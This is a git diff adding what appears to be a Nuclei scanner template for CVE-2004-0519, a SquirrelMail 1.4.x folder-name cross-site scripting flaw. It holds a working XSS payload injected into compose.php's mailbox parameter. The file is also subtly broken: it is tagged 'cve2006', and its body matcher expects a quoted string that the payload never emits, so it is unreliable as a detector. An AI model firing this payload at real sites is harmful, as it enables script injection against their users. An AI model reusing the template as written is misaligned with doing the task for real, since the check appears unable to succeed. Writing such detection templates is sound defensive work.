diff --git a/cves/2004/CVE-2004-0519.yaml b/cves/2004/CVE-2004-0519.yaml new file mode 100644 index 0000000000..955f79a7ed --- /dev/null +++ b/cves/2004/CVE-2004-0519.yaml @@ -0,0 +1,28 @@ +id: CVE-2004-0519 + +info: + name: SquirrelMail 1.4.x - Folder Name Cross-Site Scripting + author: dhiyaneshDk + severity: medium + reference: https://www.exploit-db.com/exploits/24068 + tags: xss,squirrelmail,cve2006 + +requests: + - method: GET + path: + - '{{BaseURL}}/mail/src/compose.php?mailbox="><script>window.alert(document.domain)</script>' + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "alert('document.domain')" + part: body + + - type: word + words: + - "text/html" + part: header